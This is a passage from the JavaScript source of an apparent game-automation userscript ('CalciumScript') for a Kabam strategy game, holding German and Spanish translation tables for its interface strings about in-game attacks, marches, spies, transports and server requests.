						'life lost': 'Leben verloren',
						'Loaded': 'Geladen',
						'Loading basic data': 'Grunddaten laden',
						'Locale data was Successfully requested from the server': 'Lokale Daten erfolgreich vom Server abgerufen',
						'Logs': 'Log',
						'Log': 'Log',
						'Manifest not available, using defaults': 'Manifest nicht verfügbar, nutze Standardeinstellungen',
						'Manifest Successfully initialized': 'Manifest erfolgreich initialisiert',
						'Manifest was Successfully requested from the server': 'Manifest erfolgreich vom Server abgerufen',
						'Manual attack sent to': 'Manueller Angriff gesendet an',
						'Map data': 'Kartendaten',
						'Max level': 'Max Level',
						'Map Search': 'Kartensuche',
						'Maximize resource to transport according to max load': 'max. Ressourcen auffüllen, um die volle Ladung zu transportieren',
						'Maximum level reached': 'Maximales Level erreicht',
						'Maximum simultaneous marches': 'Maximal gleichzeitige Märsche',
						'Maximum training queues possible per city, according to available resources': 'Maximale Anzahl an Ausbildungsschleifen pro Stadt, bezogen auf die verfügbaren Ressourcen',
						'Members list ': 'Mitgliederliste ',
						'Message configuration': 'Nachricht Einstellung',
						'Message(s) deleted': 'Nachricht(en) gelöscht',
						'Message(s) deletion in progress': 'Nachrichtenlöschung in Verarbeitung',
						'miles': 'Meilen',
						'Min level': 'Min Level',
						' move to ': ' gehe zu ',
						'Multi': 'Multi',
						'My city/OP name where the attack is coming': 'Meine Stadt/OP, wo der Angriff kommt',
						'My city/OP coordinates': 'Die Koordinaten meiner Stadt/OP',
						'My name': 'Mein Name',
						'Need': 'benötige',
						'New version has been installed...': 'Neue Version wurde installiert...',
						'No Generals Available': 'Keine Generäle verfügbar',
						'No great dragon available': 'Keine Groß-/Elementdrachen verfügbar',
						'no max': 'kein Maximum',
						'No new Version of': 'Keine neue Version von',
						'No resources to transport defined': 'Keine Rohstoffe für Transport ausgewählt',
						'No Recipient Defined': 'Kein Empfänger definiert',
						'No Troops Defined': 'Keine Truppen ausgewählt',
						'Not': 'nicht',
						'Not ready': 'Nicht bereit',
						'of': 'von',
						'of the following items': 'der folgenden Items gefunden wurden',
						'Only one training queue per city': 'Nur eine Ausbildungsschleife pro Stadt ',
						'Options': 'Optionen',
						'Opts': 'Opts',
						'Outpost 1': 'Wasseraußenposten',
						'Outpost 2': 'Steinaußenposten',
						'Outpost 3': 'Feueraußenposten',
						'Outpost 4': 'Windaußenposten',
						'Overview': 'Übersicht',
						'Owner': 'Besitzer',
						'Parameters': 'Parameter',
						'Play for': 'abspielen für',
						'Play sound on incoming sentinel report': 'Sound bei eingehendem Sentinelbericht abspielen',
						'Play sound on task completion': 'Soundbenachrichtigung bei Fertigstellung',
						'Played': 'Gespielt',
						'played this session': 'In dieser Session gespielt',
						'Player cities': 'Spieler Städte',
						'Player cities list': 'Liste Spieler Städte',
						'Player data retrieved': 'Spielerdaten empfangen',
						'Player data was Successfully requested from the server': 'Spielerdaten wurden erfolgreich vom Server abgefragt',
						'Player messages': 'Spieler Nachrichten',
						'Player name': 'Spielername',
						'Please wait...': 'bitte warten...',
						'Preset': 'Voreinstellung',
						'Preset name': 'Name der Voreinstellung',
						'Presets': 'Voreinstellungen',
						'Primary attack to ': 'Primär Angriff auf ',
						'Production limit reached': 'Produktion erreicht',
						'Quest': 'Quest',
						'Rate Limit Exceeded because there were too many requests': 'Zulässige Anfragenzahl überschritten',
						'Read page ': 'Seite auslesen ',
						'Ready': 'Bereit',
						'Reaped': 'Gestohlen',
						'Recipient': 'Empfänger',
						'Refresh': 'Auffrischen',
						'Refresh in': 'Neue Spielraster in',
						'Refresh list': 'Liste auffrischen',
						'Refresh map data': 'Kartendaten auffrischen',
						'Refresh selection': 'Auswahl auffrischen',
						'Refreshing player and cities data': 'Spieler und Karten daten auffrischen',
						'Reinforcement reports': 'Verstärkungsbericht',
						'Reinforcement sent to': 'Verstärkung gesendet an',
						'Reload': 'Neuladen',
						'Repairing': 'Reparieren',
						'Repeat every': 'Wiederholen alle',
						'Request': 'Request',
						'Requests Log': 'Requests Log',
						'Research Started': 'Forschung gestartet',
						'Researching': 'Forschen',
						'Reset Stats': 'Statistik zurücksetzen',
						'Resources stock levels update failed': 'Kapazitätenupdate gescheitert',
						'Resources to transport': 'Rohstoffe zum Transportieren',
						'Restore': 'Wiederherstellen',
						'Restore script settings from local file': 'Skript Einstellungen aus lokaler Datei wiederherstellen',
						'Resurrect': 'Auferstehen',
						'Resurrection': 'Wiederauferstehung',
						'Retrieving leaderboards': 'Leaderboards auslesen',
						'Retry in': 'Wiederholen in :',
						'Reviving': 'Wiederbelebung',
						'Role': 'Rolle',
						'Rules': 'Regeln',
						'Run Time': 'Laufzeit',
						'Safe Mode': 'Sicherheitsmodus',
						'Save current map data in a local file': 'Speichern der aktuellen Kartendaten in eine lokale Datei',
						'Save current script settings in a local file': 'Aktuelle Script Einstellungen in lokaler Datei speichern',
						'Save preset': 'Voreinstellung speichern',
						'Scan cities': 'scanne Städte',
						'Scan wilds': 'scanne Wildnisse',
						'Scanning map': 'Scanne die Karte',
						'Scanning map for cities': 'Scanne die Karte nur fûr Städte',
						'Scanning map for cities/wildernesses': 'Scanne die Karte nach Städten und Wildnissen',
						'Scanning map for wildernesses': 'Scanne die Karte nur fûr Wildnisse',
						'Script language': 'Script Sprache',
						'Script Options': 'Script Optionen',
						'Search coords': 'Koords suchen',
						'Search for alliance list': 'Suche nach Allianzliste',
						'Search for alliance members': 'Allianzmitglieder suchen',
						'Search max radius': 'Max. Suchradius',
						'Search Radius': 'Suchradius',
						'Second value must be at least': 'Der zweite Wert muss mindestens',
						'Seconds': 'Sekunden',
						'seconds': 'sekunden',
						'Secondary attack to ': 'Zweite Attacke auf ',
						'Seed Successfully initialized': 'Seed erfolgreich eingelesen',
						'Select at least one type of message or report to delete': 'wähle mind. eine Nachricht oder einen Bericht zum Löschen',
						'Send a message to alliance members in case of attack': 'Senden einer Nachricht an alle Allianz im Falle eines Angriffs',
						'Send Max in reinf': 'Max Verstärkung',
						'Send reinforcement': 'Verstärkung senden',
						'Send transport': 'Transport senden',
						'Sending reinforcement': 'Verstärkung senden',
						'Sending transport': 'Transport senden',
						'Sentinel messages': 'Sentinelnachricht',
						'Sentinel tower': 'Sentinelturm',
						'Set Def': 'Deff aktivieren',
						'Single': 'Einzigen',
						'Single attack sent to': 'Einzigen Angriff gesendet an',
						'Single attack': 'Einzigen Angriff',
						'Souls': 'Seelen',
						'Sound configuration': 'Soundeinstellung',
						'Sound file': 'Sounddatei',
						'Spanish': 'Spanisch',
						'Spectral': 'Spektral',
						'SpectralDragonKeep': 'Drachenaltar',
						'Spies done': 'Spione erledigt',
						'Spies number': 'Anzahl Spione',
						'Spy One Target': 'Ein Ziel spionieren',
						'Spy reports': 'Spiobericht',
						'Spy to ': 'Spion zu ',
						'Stars': 'Sterne',
						'Start': 'Start',
						'Start Date': 'Startdatum',
						'Starting...': 'Starten...',
						'Step': 'Schritt',
						'Stone': 'Stein',
						'Stop if any troops lost': 'Stopp bei Truppenverlust',
						'Stop the wheel when found the following items': 'Stoppe das Rad wenn der folgenden Items gefunden wurden',
						'succeeded': 'gelungen',
						'Successfully initialized': 'Erfolgreich initialisiert',
						'Successfully': 'Erfolgreich',
						'Summary': 'Zusammenfassung',
						' survivals)': ' Überlebende)',
						'Swamp': 'Sumpf',
						'Swedish': 'Schwedisch',
						'switchDefense OK': 'Verteidigungswechsel erfolgreich',
						'Switch defense wall status': 'wechsel Status der Mauer',
						'Switching defense': 'Verteidigung wechseln',
						'Tabs Options': 'Reiter Optionen',
						'Target': 'Ziel',
						'Targets': 'Ziele',
						'Task Completed': 'Aufgabe erledigt',
						'Tasks': 'Aufgaben',
						'Terrain length set to ': 'Gebietsgröße gesetzt auf ',
						'This should not clear map and alliance data.': 'Dies sollte keine Allianz- oder Kartendaten löschen.',
						'Time': 'Dauer',
						'to': 'bis',
						'To be refreshed': 'aktualisiert',
						'Toggle Flash': 'Flash umswitchen',
						'Total grids played': 'Total Spielraster gespielt',
						'Total grids displayed': 'Total Spielraster angezeigt',
						'to win': 'gewinnen',
						'Tower': 'Wachturm',
						'Tower configuration': 'Wachturmeinstellung',
						'Training Configuration': 'Ausbildungseinstellung',
						'Translation Matrix Successfully initialized': 'Übersetzung erfolgreich initialisiert ',
						'Transport reports': 'Transportbericht',
						'Transport sent to': 'Transport zu',
						'Troops Capped': 'Truppen gestoppt',
						'Troops for Bookmarks Attack': 'Truppen für Lesezeichen Angriff',
						'Troops for defense': 'Truppen für Verteidigung',
						'Troops for Primary Attack': 'Truppenauswahl für erste Attacke',
						'Troops for reinforcement': 'Truppen für Verstärkung',
						'Troops for Secondary Attacks': 'Truppenauswahl für zweite Attacke',
						'Troops for transport': 'Truppen für Transport',
						'Troops for Wave Attack': 'Truppen für Welle',
						'Troops lost': 'Truppen verloren',
						'Troops max': 'max. Truppen',
						'Troops statistics': 'Truppenstatistik',
						'Troops statistics for': 'Truppenstatistik',
						'Turned Off': 'Abgeschaltet',
						'Unlimited': 'Unendlich',
						'Unowned only': 'Nur unbesetzte Wildnisse',
						'Updating City values': 'Stadteinstellungen aktualisieren',
						'Use the Levels Tab to select attack areas': 'benutze den Level-Reiter, um das Angriffsgebiet auszuwählen',
						'Version update': 'Versions Update',
						'Wall management': 'Mauer Einstellung',
						'Warning': 'Warnung',
						'was returned with a status of': 'zurückgewiesen mit dm Status',
						'Water': 'Wasser',
						'Wave attack to ': 'Wellenangriff auf ',
						'Wave': 'Welle',
						'Wiki URL': 'Wiki URL',
						'Wildernesses list': 'Wildnisliste',
						'Wind': 'Wind',
						'Without alliance': 'Allianzlos',
						'You are': 'Du bist',
						'Yoyo': 'Jo-Jo',
						'Yoyo functionality': 'Jo-Jo Funktion',
						'ATrans': 'Luftis',
						/* abbr gepanzerte Lufttransporter */ 'Banshee': 'Banshee',
						/* abbr Banshee */ 'BatDrg': 'KampfDr',
						/* abbr Kampfdrache */ 'Conscr': 'Rekrut',
						/* abbr Rekrut */ 'DesDrg': 'HelioDr',
						/* abbr Heliodrache */ 'Fang': 'Giftis',
						/* abbr Giftklaue */ 'FGiant': 'Frostis',
						/* abbr Frost-Gigant */ 'FireDrg': 'FeuerDr',
						/* abbr Feuerdrache */ 'FireM': 'FeuerSp',
						/* abbr Feuerspiegel */ 'ForDrg': 'BernsteinDr',
						/* abbr Bernsteindrache */ 'GrtDrg': 'GroßDr',
						/* abbr Großdrache */ 'Halbrd': 'Helle',
						/* abbr Hellebarde */ 'IceDrg': 'EisDr',
						/* abbr Eisdrachen */ 'LBM': 'Bogi',
						/* abbr Bogenschütze */ 'LCannon': 'B-Werfer',
						/* abbr Lightning Cannon */ 'Magma': 'Pyro',
						/* abbr Pyrosaurier */ 'Mino': 'Mino',
						/* abbr Minotaurus */ 'Ogre': 'Oger',
						/* abbr Granit-Oger */ 'PackDrg': 'TransportDr',
						/* abbr Transportdrache */ 'Slayer': 'Schlächter',
						/* abbr Dunkler Schlächter */ 'SpctDrg': 'SpektralDr',
						/* abbr Steindrache */ 'SReaper': 'SRäuber',
						/* abbr Seelenräuber */ 'SSDrg': 'kFD',
						/* abbr kleiner Feuerdrache */ 'StnDrg': 'SteinDr',
						/* abbr Steindrache */ 'Strider': 'Reiter',
						/* abbr Wüstenreiter */ 'SwpDrg': 'Giftschlange',
						/* abbr Swamp Dragon */ 'Titan': 'Titan',
						/* abbr Waldtitan */ 'Venom': 'Kröten',
						/* abbr Sumpfkröte */ 'WatDrg': 'WasserDr',
						/* abbr Wasserdrache */ 'WndDrg': 'WindDr',
						/* abbr Wind Dragon */
						/* Missing or wrong Kabam translations */
						'Fire Dragon': 'Feuerdrache',
						'ajax-req-versions': 'API Version kontrolle',
						'ajax-req-locales': 'Lade Übersetzung',
						'ajax-req-cookie': '?? Set a cookie for sound setup ??',
						'ajax-req-manifest': 'Lade Manifest',
						'ajax-req-player': 'Spieler Daten',
						'ajax-req-cities': 'Stadt Daten',
						'ajax-req-jobs': '?? Retrieval of current tasks ??',
						'ajax-req-dragons': '?? Getting dragons data ??',
						'ajax-req-alliances': 'Erhalte Allianz Top 100',
						'ajax-req-membership': 'Erhalte Allianz Mitglieder',
						'ajax-req-activity': 'Erhalte Allianz Aktivitäten',
						'ajax-req-map': 'Karten Daten',
						'ajax-req-tile_at': 'Karten Daten für eine Kachel',
						'ajax-req-building': 'Starte Gebäudebau',
						'ajax-req-research': 'Starte Forschung',
						'ajax-req-training': 'Starte Training',
						'ajax-req-resurrect': 'Starte Wiederbelebung',
						'ajax-req-canceljob': 'Breche Auftrag ab',
						'ajax-req-marches': 'Starte einen Marsch',
						'ajax-req-cancelmarch': 'Abbrechen/Zurückrufen eines Marschs',
						'ajax-req-reports': 'Nachrichten Liste',
						'ajax-req-reports_del': 'Lösche eine Nachricht',
						'ajax-req-reports_read': 'Lese eine Nachricht',
						'ajax-req-message': 'Senden einer Nachricht',
						'ajax-req-minigame': 'Lade Fortuna',
						'ajax-req-save_minigame': 'Ausgang des Spiels',
						'ajax-req-leaderboards': 'Lade Leaderbord',
						'ajax-req-collect': 'Einsammeln der Ressourcen aus den Außenposten',
						'ajax-req-claim': 'Einlösen einer Quest',
						'ajax-req-defended': 'Auf Verteidung umstellen',
						'ajax-req-defense': 'Auswahl der Verteidungstruppen',
						'ajax-req-items': 'Benutze ein Verkürzer',
						'ajax-req-breeding': '?? Dragons breeding ??',
						'ajax-req-feeding': '?? Dragons feeding ??',
						'ajax-req-dragonHandle': '?? Dismiss/Remove/Equip one dragon ??',
						'Zzz': 'Zzz'
					};
					break;
                // Español (by Phantomas)
				case 'es':
					TRANSLATION_ARRAY = {
						'</B> and <B>': '</B> y <B>',
						'<B>Attacker\'s move turn</B>': '<B>Turno de movimiento del Atacante</B>',
						'<B>Attacker\'s attack turn</B>': '<B>Turno de ataque del Atacante</B>',
						'<b>Bad request!</b>': '<b>Solicitud incorrecta!</b>',
						'<B>Defender\'s move turn</B>': '<B>Turno de movimiento del Defensor</B>',
						'<B>Defender\'s attack turn</B>': '<B>Turno de ataque del Defensor</B>',
						'<b>Rate Limit Exceeded</b>, too many requests!': '<b>Excedió el límite de las solicitudes</b>, demasiado muchas solicitudes enviadas!',
						'About CalciumScript': 'Sobre CalciumScript',
						'above the first value': 'encima del primer valor',
						'Action Log': 'Reporte de Acciones',
						'Actions': 'Acciones',
						'Activate Attacks Logs': 'Activar Registro de Ataques',
						'Alerts log': 'Log alertas',
						'All players': 'Todos los Jugadores',
						'All types': 'Todos',
						'Alliance features': 'Informacion de Alianzas',
						'Alliances list retrieved': 'Lista de las alianzas obtenido',
						'Alliance members list retrieved': 'Listado de Miembros de la alianza',
						'Alliance messages': 'Mensajes de Alianza',
						'and': 'y',
						'Another march request is pending': 'Otra solicitud de marcha encuentra pendiente',
						'Are you sure you want to delete All Permanent Data': 'Está seguro que desea eliminar todos los datos permanentes',
						'Arrival time': 'Tiempo de Arrivo',
						'at': 'a',
						' at ': ' a ',
						' at range': ' à distancia',
						'Attack sent to': 'Ataque enviado a',
						'Attack One Target in Multiple waves': 'Ataque en Olas Multiple',
						'Attacker': 'Atacante',
						'Attacking': 'Atacando',
						'Attacks Configuration': 'Configuración de Ataques',
						'Attacks Stats': 'Estadísticas de Ataques',
						'Attacks': 'Ataques',
						'attempted': 'intentado',
						'attempt for': 'intento de',
						'Auto harvest resources from outposts every': 'Auto-Recolectar recursos de Avanzadas cada',
						'Auto refresh info tab data every': 'Auto-Refrescar de datos de la info tab cada',
						'Automatically': 'Automáticamente',
						'Automatically recall transport 1 minute before delivery': 'Regresar el envio 1 minuto despues de ser enviado',
						'Available troops': 'Tropas disponibles',
						'Awaiting task completion notification': 'En espera de la notificación de finalización de la tarea',
						'Back at the same time': 'Volver al mismo tiempo',
						'Backup': 'Salvaguardar',
						'Battle': 'Simul',
						'Battle calculator': 'Simulacion de Batalla',
						'Battle forces': 'Fuerzas de Batalla',
						'Battle log': 'Log Simulacion',
						'Battle lost !!': 'Batalla Perdida !!',
						'Battle mechanics': 'Mecanica de Batallas',
						'Battle won !!': 'Batalla Ganada !!',
						'Bookmark': 'Marcador',
						'Bookmark saved': 'Marcador guardado',
						'Bookmarks': 'Marcadores',
						'Bookmarks Configuration': 'Configuración de marcadores',
						'Building': 'Construccion',
						'Busy': 'Ocupado',
						'by': 'por',
						'By distance ascending': 'Para distancia arriba',
						'By distance descending': 'Para distancia abajo',
						'Cache data': 'Datos de la caché',
						'Calculate': 'Inicie la simulación',
						'Camps/wilds attack reports': 'Reportes de ataques a Paramos',
						'Capital data': 'Datos de la capital',
						'Capital data successfully fetched': 'Datos de la capital a buscar con éxito',
						'Check sentinel reports every ': 'Verificar reportes de sentinela cada ',
						'Check the following great dragons to exclude them from being sent': 'Marque la casilla de dragón para evitar el envío de ellos para atacar',
						'Check to use UTC time instead of local time': 'Marque la casilla para utilizar la hora UTC en lugar de la hora local',
						'Claim': 'Reclamo',
						'Claimed': 'Reclamada',
						'Claiming quest': 'Reclamar de la misión',
						'Clear all': 'Borrar Todo',
						'Clear all data': 'Borrar Todo',
						'Clear last attack on all maps': 'Borrar todos los registros de últimos ataques',
						'Clear last attack on current map': 'Borrar registro de últimos ataques actuales',
						'Clear local storage (internet cache)': 'Borrar los datos permanentes (caché de Internet)',
						'Clear log': 'Borrar Log',
						'Clear Stats': 'Borrar Estadísticas',
						'Collected resources at outpost': 'Recursos recolectados de avanzada',
						'Completing...': 'Finalizando...',
						'Completion errors': 'Error de finalización',
						'Config': 'Config',
						'Confirmation': 'Confirmación',
						'Console Log': 'Registros de Consola',
						'Console': 'Consola',
						'Coordinates': 'Coordenadas',
						'Coords': 'Coords',
						/*		'Copy troops reported by the sentinel to the battle calculator' : '?????', */
						' damages taken': ' daños sufridos',
						' damages to ': ' daños à ',
						'data': 'datos',
						'data successfully fetched': 'datos con éxito a buscar',
						'Date range': 'Rango de tiempo',
						' deal ': ' daño ',
						'Defender': 'Defensor',
						'Defending': 'En defensa',
						'Delay before script startup': 'Retraso inicial antes arranque del script',
						'Delay Between Attacks': 'Tiempo de retraso entre ataques',
						'Delay Between Transports': 'Retardo entre transporta',
						'delayed due to': 'retrasado,',
						'delayed due to no available generals': 'retrasado, no hay geneal disponible',
						'delayed due to no available Great Dragon': 'retrasado, Gran Dragon no disponible',
						'delayed due to pending march request': 'retrasado, otra solicitud de marcha encuentra pendiente',
						'Delete now': 'Borrar',
						'Delete Battle Reports': 'Borrar reportes de batalla',
						'Delete messages': 'Borrar Mensajes',
						'Delete messages of this type': 'Borrar mensajes de este tipo',
						'Delete spy reports': 'Suprimir reportes de Espias',
						'Detailed search': 'Búsqueda detallada',
						'Disable <B>Alliance</B> tab': 'Desactivar <B>Alianza</B>',
						'Disable <B>Battle</B> tab': 'Desactivar <B>Simulador</B>',
						'Disable <B>Bookmarks</B> tab': 'Desactivar <B>Marcadores</B>',
						'Disable <B>Multi</B> tab': 'Desactivar <B>Multi</B>',
						'Disable <B>Search</B> tab': 'Desactivar <B>Busqueda</B>',
						'Disable <B>Spy</B> tab': 'Desactivar <B>Espias</B>',
						'Disable <B>Wall</B> tab': 'Desactivar <B>Muralla</B>',
						'Disable <B>Wave</B> tab': 'Desactivar <B>Oleadas</B>',
						'Disable <B>Log</B> tab': 'Desactivar <B>Log</B>',
						'Disabled': 'Desactivado',
						'Display official background image': 'Visualización de la imagen de fondo oficial',
						'Dist': 'Dist',
						'Distance must be between': 'La distancia debe estar entre',
						'Distance': 'Distancia',
						'Dragon healing': 'Curando Dragon',
						'Dragons': 'Dragones',
						'Do not show alerts obsolete since': 'No mostrar alertas obsoletas desde',
						/*		'Do you want to delete existing Permanent Data' : '?????', */
						'Do you want to save in Permanent Data the current script setting': 'Quieres guardar la configuración actual del script en los datos permanentes',
						'Do you want to save Map Data in local file': 'Quieres guardar los datos del mapa en un archivo local',
						'Do you want to save Permanent Data in local file': 'Quieres guardar los datos permanentes en un archivo local',
						'Dutch': 'Holandés',
						'Edit': 'Editar',
						'Edit bookmark': 'Editar marcador',
						'Enable': 'Activar',
						/*		'Enable cheat (all troops in all outposts, transport of blue energy)' : 'Activar los trucos (todas las tropas en todos los puestos de avanzada, el transporte de la energía azul)', */
						'Enable transport of ': 'Activar el transporte de la ',
						'Enable use of speed-ups in attacks waves': 'Permitir el uso de aceleraciones de las ondas de ataque',
						'Enable verbose logging': 'Activar el registro detallado',
						'Enable window drag': 'Permiten arrastrar la ventana',
						'Enable the sentinel tower': 'Activar Torre Sentinela',
						'Enabled': 'Activado',
						'English': 'Inglés',
						'Enemy General': 'General Enemigo',
						'Enemy research levels': 'Niveles de investigacion del enemigo',
						'Enter -1 as troop quantity to use the maximum available': 'Introduzca la cantidad en -1 para utilizar la cantidad máxima disponible de las tropas',
						'Error': 'Error',
						'Error while retrieving the list of members': 'Error al buscar Miembro',
						'Error while setting defense choice': 'Error al actualizar la elección de la defensa',
						'Evol': 'Evol',
						'Except': 'Exepto',
						'Exception': 'Exepto',
						'failed': 'fracasado',
						'failed and returned error': 'fracasado y devolvió el error',
						'Fast search': 'Búsqueda rápida',
						'Features': 'Funcionalidades',
						'Fetching': 'Obtención',
						'Fetching Capital data': 'Obtención de datos de la capital',
						'Fetching Manifest': 'Obtención de manifiesto',
						'Fetching Outpost ': 'Obtención de Outpost ',
						'Fetching Seed': 'Obtención de datos del jugador',
						'Fetching Translation matrix': 'Obtención de la matriz de Traducción',
						'Fire': 'Fuego',
						'First value must be between': 'El primer valor debe ser de',
						'Flash game Auto refresh every': 'Actualización automática del juego flash cada',
						/*		'Foes' : '?????', */
						'for': 'para',
						'Force saving current script settings': 'Fuerza de guardar la configuración actual del script',
						'Forum link': 'Forum link',
						'French': 'Francés',
						'Game messages': 'Mensajes de Juego',
						'Game Options': 'Opciones del Juego',
						'GD': 'GD',
						'Generals': 'Generales',
						'German': 'Alemán',
						'Getting basic data...': 'Obtención de datos básicos',
						'Getting cities data...': 'Obtención de datos de las ciudades',
						'Getting game data...': 'Obtención de datos del juego',
						'Got': 'Encontrado',
						'Great dragons': 'Dragones Elementales',
						'About': 'Acerca',
						'Hide spy alerts': 'Esconder alertas de espias',
						'Hiding': 'Santuario',
						'History': 'Historia',
						'h': 'h',
						'Ice': 'Hielo',
						'Idle': 'Inactivo',
						'In city': 'En la ciudad',
						'In march': 'En movimiento',
						' in melee': ' cuerpo a cuerpo',
						'in progress': 'en progreso',
						'Include Great Dragon': 'Enviar Gran Dragon en el Ataque',
						'Initialization': 'inicialización',
						'Initializing...': 'inicializar...',
						'Initializing map, auto-collect, ...': 'Inicializar el mapa, la recopilación automática, ...',
						'Invalid date From': 'Formato de fecha de inicio invalido',
						'Invalid date To': 'Formato de fecha de finalizacion invalido',
						'Invalid date range': 'Rango de datos invalido',
						'Invalid delays': 'Intervalo de retraso invalido',
						'Invalid number of troops': 'Cantidad de tropas invalida',
						'Joined': 'Registrado',
						'Keep battle reports of attacks from other players': 'Guardar los reportes de ataque de otros jugadores al mio',
						'Keep battle reports of my attacks on other players': 'Guardas los reportes de ataques mios hacia otro jugador',
						' (kill ': ' (asesinado ',
						'Last attack': 'Ultimo ataque',
						'life lost': 'vida perdida',
						'Loaded': 'Script cargado',
						'Loading basic data': 'Carga de datos básicos',
						'Locale data was Successfully requested from the server': 'Solicitud para los datos de traducción ha sido procesada correctamente por el servidor',
						'Logs': 'Log',
						'Log': 'Log',
						'Manifest not available, using defaults': 'Manifiesto no disponible, utilizando los valores predeterminados',
						'Manifest Successfully initialized': 'Manifiesto inicializado correctamente',
						'Manifest was Successfully requested from the server': 'Solicitud para el Manifiesto ha sido procesada correctamente por el servidor',
						'Manual attack sent to': 'Ataque manual enviado a',
						'Max level': 'Nivel max',
						'Map Search': 'Buscando en mapa',
						'Maximize resource to transport according to max load': 'Maximizar los recursos para el transporte de acuerdo a la carga máxima disponible',
						'Maximum level reached': 'Nivel máximo alcanzado',
						'Maximum simultaneous marches': 'Maximo de marchas simultaneas',
						'Maximum training queues possible per city, according to available resources': 'Máximas posible de formación por la ciudad, según los recursos disponibles',
						'Members list ': 'Listado de miembros ',
						'Message(s) deleted': 'Mensajes Borrados',
						'Message(s) deletion in progress': 'Borrando mensajes',
						'miles': 'millas',
						'Min level': 'Nivel min',
						' move to ': ' mover a ',
						'Multi': 'Multi',
						'Need': 'Req',
						/*		'New version has been installed...' : '?????...', */
						'No Generals Available': 'No hay geneal disponible',
						'No great dragon available': 'Gran Dragon no disponible',
						'no max': 'sin limite',
						'No new version of': 'No hay nueva versión de',
						'No resources to transport defined': 'no se definieron recursos a transportar',
						'No Troops Defined': 'No hay tropas definidas',
						'Not ready': 'No listo',
						'of': 'de',
						'Only one training queue per city': 'Sólo una cola de formación por ciudad',
						'Options': 'Opciones',
						'Opts': 'Opcs',
						'Outpost 1': 'Ciudad del Agua',
						'Outpost 2': 'Ciudad de la Piedra',
						'Outpost 3': 'Ciudad del Fuego',
						'Outpost 4': 'Ciudad del Viento',
						'Overview': 'Resumen General',
						'Owner': 'Propietario',
						'Play for': 'Sonar para',
						'Play sound on incoming sentinel report': 'Sonar alarma cuando entre reporte de sentinela',
						'Play sound on task completion': 'Reproducir un sonido al final de la tarea',
						'Player cities': 'Ciudades',
						'Player cities list': 'Lista de Ciudades de jugador',
						'Player data was Successfully requested from the server': 'Solicitud para los datos del jugador ha sido procesada correctamente por el servidor',
						'Player messages': 'Mensajes de Jugador',
						'Player name': 'Nombre del jugador',
						'Please wait...': 'Gracias por su espere...',
						'Preset': 'Preset',
						'Preset name': 'nombre del preset',
						'Primary attack to ': 'Primario ataque a ',
						'Quest': 'Misión',
						'Rate Limit Exceeded because there were too many requests': 'Excedió el límite de las solicitudes, demasiado muchas solicitudes se han enviadas',
						'Read page ': 'Lectura de la pagina ',
						'Ready': 'Listo',
						'Recipient': 'Destinatario',
						'Refresh': 'Refrescar',
						'Refresh list': 'Refrescar lista',
						'Refresh map data': 'Refrescar datos del mapa',
						'Refresh selection': 'Actualizar la selección',
						'Reinforcement reports': 'Reportes de refuerzosr',
						'Reinforcement sent to': 'Refuerzos enviados a',
						'Reload': 'Actualizar DOA',
						'Repairing': 'Reparando',
						'Repeat every': 'Repetir cada',
						'Researching': 'Investigando',
						'Research Started': 'Investigación comenzó',
						'Reset Stats': 'Borrar Estadisticas',
						'Resources stock levels update failed': 'Actualización de los niveles de inventario de los recursos ha fracasado',
						'Resources to transport': 'Recursos a transportar',
						'Restore': 'Restaurar',
						'Restore script settings from local file': 'Restaurar la configuración del script de un archivo local',
						'Resurrection': 'Resurrección',
						'Resurrect': 'Resucitar',
						'Retry in': 'Reintentando en',
						'Reviving': 'Reviviendo',
						'Role': 'Rol',
						'Rules': 'Reglas',
						'Run Time': 'Tiempo de ejecucion',
						'Safe Mode': 'Modo Seguro',
						'Save current script settings in a local file': 'Guardar la configuración actual del script en un archivo local',
						'Save current map data in a local file': 'Guardar los datos del mapa actual en un archivo local',
						'Save preset': 'Guardar preset',
						'Scanning map': 'Buscando el mapa sólo para las ciudades',
						'Scanning map for cities/wildernesses': 'Buscando Ciudades y Paramos en el mapa',
						'Scanning map for wildernesses': 'Buscando el mapa sólo para las paramos',
						'Script language': 'Lenguaje del script',
						'Script Options': 'Opciones del script',
						'Search coords': 'Buscando coords',
						'Search for alliance list': 'Buscador de la lista de las alianzas',
						'Search for alliance members': 'Buscador de miembro de alianza',
						'Search max radius': 'Radio Max. Busqueda',
						'Search Radius': 'Radio de Busqueda',
						'Second value must be at least': 'El segundo valor debe ser al menos',
						'Seconds': 'Segundos',
						'seconds': 'segundos',
						'Secondary attack to ': 'Secundario ataque a ',
						'Seed Successfully initialized': 'Datos del jugador inicializado correctamente',
						'Select at least one type of message or report to delete': 'Seleccion por lo menos un tipo de mensaje o reporte para borrar',
						'Send reinforcement': 'Enviar refuerzos',
						'Send transport': 'Enviar Transportes',
						'Sending reinforcement': 'Enviando refuerzos',
						'Sending transport': 'Enviando Transporte',
						'Sentinel messages': 'Alertas de Sentinela',
						'Sentinel tower': 'Torre de Sentinela',
						'Set Def': 'Activar Def',
						'Souls': 'Almas',
						'Sound configuration': 'Configuracion de Sonido',
						'Sound file': 'Sonido',
						'Spanish': 'Español',
						'Spectral': 'Espectral',
						'SpectralDragonKeep': 'Altar del Dragón',
						'Spies done': 'Espionajes efectuados',
						'Spies number': 'Numero de Espias',
						'Spy One Target': 'Espias un objetivo',
						'Spy reports': 'Reportes de espionaje',
						'Spy to ': 'Espias enviados a ',
						'Stars': 'Estrellas',
						'Start': 'Iniciar',
						'Start Date': 'Fecha de Inicio',
						'Starting...': 'Puesta en marcha...',
						'Step': 'Paso',
						'Stone': 'Piedra',
						'Stop if any troops lost': 'Detener si pierdo tropas',
						'succeeded': 'se las arregló',
						'Successfully initialized': 'Inicializado correctamente',
						'Successfully': 'Exitosamente',
						'Summary': 'Detalles',
						' survivals)': ' sobrevivientes)',
						/*		'Swamp' : '?????', */
						'Swedish': 'Sueco',
						'switchDefense OK': 'Cambio de la defensa OK',
						'Switch defense wall status': 'Cambio en el estado de la muralla',
						'Switching defense': 'Cambio de la defensa',
						'Tabs Options': 'Opciones de Tabs',
						'Target': 'Objetivo',
						'Targets': 'Objetivos',
						'Task Completed': 'Tarea Finalizada',
						'Tasks': 'Tareas',
						'Terrain length set to ': 'Largo de terreno en ',
						/*		'This should not clear map and alliance data.' : '?????.', */
						'Time': 'Duración',
						'to': 'a',
						'To be refreshed': 'a Refrescar',
						'Toggle Flash': 'Flash toggle',
						'Tower': 'Torres',
						'Tower configuration': 'Configuracion de Sentinela',
						'Training Configuration': 'Configuracion de entrenamiento',
						'Translation Matrix Successfully initialized': 'Traducción Matrix inicializado correctamente',
						'Transport reports': 'Reportes de Transporte',
						'Transport sent to': 'Transporte enviado a',
						'Troops Capped': 'Las tropas tope',
